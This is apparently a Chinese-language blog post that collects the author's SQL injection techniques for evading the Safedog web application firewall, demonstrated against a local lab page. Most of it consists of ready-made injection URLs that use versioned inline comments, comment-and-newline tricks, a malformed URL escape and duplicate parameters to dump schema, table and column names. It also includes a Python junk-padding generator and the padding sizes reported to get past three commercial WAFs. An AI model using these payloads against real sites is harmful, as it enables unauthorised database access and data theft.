提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
总结下自己常用的sql注入绕waf方法
windows 10 操作系统 1,phpstudy2016 2,安全狗最新版,(切记以管理员身份启动安全狗)
/!select/: 相当于没有注释 /!12345select/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。 /![]/: []中括号中的数字若填写则必须是5位
例子:http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544order/*!11544by/*!11544*/1--+ http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union/*!11544select/*!115441,2,3,4,group_concat(schema_name),6*/from information_schema.schemata--+ http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+ http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+传统的方法使用内联注释都是使用 /!12345select/ 去注释SQL关键字符来进行绕waf,那么为什么非得注释关键字呢,她是美女么?有我们必火的小女生好看吗? 如果不是美女,也没我们的小女生好看,那能不能不注释关键字,注释点别的好不好?
代码如下(示例):
http://192.168.31.142/safedog/bihuo.php?tel=1'union/*!88888www.hacker.wang*/ select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database () and /*!88888www.hacker.wang*/table_name=0x7573657273 --+解析: 图中两处 /!88888www.hacker.wang/ 即可绕狗 :88888 肯定大于当前啊版本号,所以注释内容不执行,等于没有加这句话,不影响程序运行。 下面的表名要换成16进制。 注意database()中间有个空格
示例:
http://192.168.31.142/safedog/bihuo.php?tel=1' union -- www.hacker.wang%0aselect 1, 2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database () and -- www.hacker.wang%0a table_name=0x7573657273--+解析: –:表示注释,在mysql中真正的注释是"-- ",这里必须有个空格,否则不是注释,%0a是换行的url编码,换号后,表示重新查询,前面的注释对后面的语句将不再影响,这也要注意, database空格()这里,中间有个空格
示例:
http://192.168.31.142/safedog/bihuo.php?tel=1' union/*%!a*/select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database () and table_name in (0x7573657273) --+解析: 此处%!a是一个错误的url编码,但这个编码比较特殊,可以绕狗,其他则不行。 这里的table_name 要 改成 table_name in (0x7573657273) 这种格式 database() 中间有个空格 database空格()
示例:
http://192.168.31.142/safedog/bihuo.php?tel=1&bihuo=/*&tel=1'union select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database() and table_name='users' --+*当url参数出现两个同名参数时,将取最后一个参数的值,所以这里会取后面的tel的值,前面传参/,后面/闭合: 绕过分析:安全狗误以为/**/是注释的内容所以全部忽略。
用脚本生成的垃圾数据进行填充绕过:
#coding=utf-8 import random,string from urllib import parse varname_min = 5 varname_max = 15 data_min = 20 data_max = 25 num_min = 50 num_max = 100 def randstr(length): str_list = [random.choice(string.ascii_letters) for i in range(length)] random_str = ''.join(str_list) return random_str def main(): data={} for i in range(num_min,num_max): data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max)) print('&'+parse.urlencode(data)+'&') main()生成垃圾数据 当如果是POST型就直接把垃圾数据放到你要注入的字段前后,如果是GET型就把他转为POST型再放垃圾数据。 目前为止的bypass测试数据:
云锁:30KB
宝塔:30KB
阿里云:200+键值对